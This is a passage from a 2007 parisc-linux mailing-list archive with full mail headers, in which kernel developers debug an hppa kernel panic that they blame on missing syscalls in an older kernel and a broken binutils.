National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 15:51:33 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20070603195133.GB23062__9323.23573292724$1416624384$gmane$org@fattire.cabal.ca>
References: <20070603192829.GA23062@fattire.cabal.ca>
	<200706031949.l53Jncmi016795@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624384 24432 80.91.229.3 (22 Nov 2014 02:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 19:51:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 03 Jun 2007 21:51:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E6407DD9E;
	Sun,  3 Jun 2007 13:51:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11647-05; Sun, 3 Jun 2007 13:51:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26CA97DD9F;
	Sun,  3 Jun 2007 13:51:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8A507DD9E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:51:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11647-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 13:51:35 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1979A7DD4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:51:35 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7E1D55840D2;
	Sun,  3 Jun 2007 15:51:34 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id ED5605840C0;
	Sun,  3 Jun 2007 15:51:33 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A70BC23DD0; Sun,  3 Jun 2007 15:51:33 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706031949.l53Jncmi016795@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6CNVD9hwQEVsxejDZnVpuCZKNzg2NUJD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24624

On Sun, Jun 03, 2007 at 03:49:38PM -0400, John David Anglin wrote:
> > This is bad. Your kernel is too old, and glibc didn't take this into
> > account. I'll hack something up to return -ENOSYS.
> 
> I'm a bit surprised that 2.6.20 is too old.  In any event, my
> initial attempt to do the above hasn't worked:
>

Why? The syscall was added for 2.6.21.

> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001000000011100001110 Not tainted
> r00-03  000000000804070e 00000000405107c0 000000004051aed4 0000000040103000
> r04-07  0000000040503fc0 0000000000480000 00000000fffffff0 00000000f040dd30
> r08-11  0000000000000258 0000000000000001 000000000804000e 0000000040514634
> r12-15  0000000000000000 0000000000000001 0000000000000001 00000000000225c4
> r16-19  00000000f0d00b0c 0000000000000000 00000000000f76f8 0000000080000000
> r20-23  00000000e208b185 000000003ffffd90 0000000040103020 00000000404e5300
> r24-27  0000000000000000 00000000403c3491 000000004010300d 0000000040503fc0
> r28-31  00000000e208b185 00000000404c0260 00000000404c0290 000000000fec6fc0
> sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004051af34 000000004051af38
>  IIR: 0e60109c    ISR: 0000000000000000  IOR: 0000000080000000
>  CPU:        0   CR30: 00000000404c0000 CR31: 00000000404c4000
>  ORIG_R28: 00000000401385a4
>  IAOQ[0]: check_ivt+0x84/0xe0
>  IAOQ[1]: check_ivt+0x88/0xe0
>  RP(r2): check_ivt+0x24/0xe0
> Kernel panic - not syncing: Kernel Fault
> <0>Rebooting in 5 seconds..

binutils is fucked.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 16:03:15 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200706032003.l53K3Gug017078__12317.6646804952$1416624384$gmane$org@hiauly1.hia.nrc.ca>
References: <20070603195133.GB23062@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624384 24435 80.91.229.3 (22 Nov 2014 02:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:24 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 20:03:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 03 Jun 2007 22:03:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D3687DDB1;
	Sun,  3 Jun 2007 14:03:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11764-07; Sun, 3 Jun 2007 14:03:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2866F7DDAC;
	Sun,  3 Jun 2007 14:03:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FF197DDA8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:03:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11647-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 14:03:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7EDF87DD6F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:03:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l53K3Gn2017079;
	Sun, 3 Jun 2007 16:03:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l53K3Gug017078;
	Sun, 3 Jun 2007 16:03:16 -0400 (EDT)
In-Reply-To: <20070603195133.GB23062@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 3, 2007 03:51:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uSZWcsR9RkkerquPfGRqIOFmdWkvKBOY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24625

> binutils is fucked.

Crap!  I'll try installing one of my own builds from a different system.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 16:12:16 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20070603201216.GA24868__14111.3905389377$1416624384$gmane$org@fattire.cabal.ca>
References: <20070603195133.GB23062@fattire.cabal.ca>
	<200706032003.l53K3Gug017078@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624384 24439 80.91.229.3 (22 Nov 2014 02:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:24 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 20:12:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 03 Jun 2007 22:12:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86FCE7DDB0;
	Sun,  3 Jun 2007 14:12:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11888-08; Sun, 3 Jun 2007 14:12:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B5887DDAC;
	Sun,  3 Jun 2007 14:12:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D08EA7DDAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:12:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11888-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 14:12:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0EF417DD6F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:12:18 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9FA185840D6;
	Sun,  3 Jun 2007 16:12:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 32FE45840D2;
	Sun,  3 Jun 2007 16:12:17 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D8A7E23DD0; Sun,  3 Jun 2007 16:12:16 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706032003.l53K3Gug017078@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lBJQcuV+X1Vpz+uYY2Fykrx3SDc4NIw9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24626

On Sun, Jun 03, 2007 at 04:03:15PM -0400, John David Anglin wrote:
> > binutils is fucked.
> 
> Crap!  I'll try installing one of my own builds from a different system.
> 

I've had good luck building kernels with my Etch (Debian 4.0) chroots.

--Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 16:24:34 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20070603202434.GB24868__42264.1998310157$1416624384$gmane$org@fattire.cabal.ca>
References: <200706020203.l52235DP011866@hiauly1.hia.nrc.ca>
	<200706031606.l53G6d70012984@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624384 24442 80.91.229.3 (22 Nov 2014 02:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:24 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 20:24:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 03 Jun 2007 22:24:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BE9A7DDB6;
	Sun,  3 Jun 2007 14:24:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12228-06; Sun, 3 Jun 2007 14:24:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F0457DDBB;
	Sun,  3 Jun 2007 14:24:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB59F7DDB1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:24:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12228-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 14:24:36 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id EE5E87DDA6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:24:35 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8170C5840D2;
	Sun,  3 Jun 2007 16:24:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1A9235840C1;
	Sun,  3 Jun 2007 16:24:35 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id C9FBD23DD0; Sun,  3 Jun 2007 16:24:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706031606.l53G6d70012984@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uhtWctt9RkkerquPfGRqkPlmdWkvKNNd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24627

> The latest crash was:
> mx3210:/var/log# df
> Filesystem           1K-blocks      Used Available Use% Mounted on
> *** crash ***
> 

df uses statfs64, which was added to 2.6.21... I'm confused why we're
not catching it in syscall.S, I'll need to sit and think a bit.

--Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 16:49:10 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <20070603204910.GC24868__45832.9713707373$1416624385$gmane$org@fattire.cabal.ca>
References: <200706031606.l53G6d70012984@hiauly1.hia.nrc.ca>
	<200706031828.l53ISHsf015527@hiauly1.hia.nrc.ca>
	<20070603192829.GA23062@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624385 24444 80.91.229.3 (22 Nov 2014 02:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:25 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 20:49:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 03 Jun 2007 22:49:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE5797DDC2;
	Sun,  3 Jun 2007 14:49:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12440-06; Sun, 3 Jun 2007 14:49:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 923AE7DDC3;
	Sun,  3 Jun 2007 14:49:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6984E7DDC2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:49:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12440-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 14:49:11 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9B7447DDBB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 14:49:11 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 329C45840D2;
	Sun,  3 Jun 2007 16:49:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9F6005840C3;
	Sun,  3 Jun 2007 16:49:10 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 55B9B23DD0; Sun,  3 Jun 2007 16:49:10 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070603192829.GA23062@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ah5WcvoTTiEth6yUaGRwOcR1ZUVSRJdE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24628

On Sun, Jun 03, 2007 at 03:28:29PM -0400, Kyle McMartin wrote:
> On Sun, Jun 03, 2007 at 02:28:17PM -0400, John David Anglin wrote:
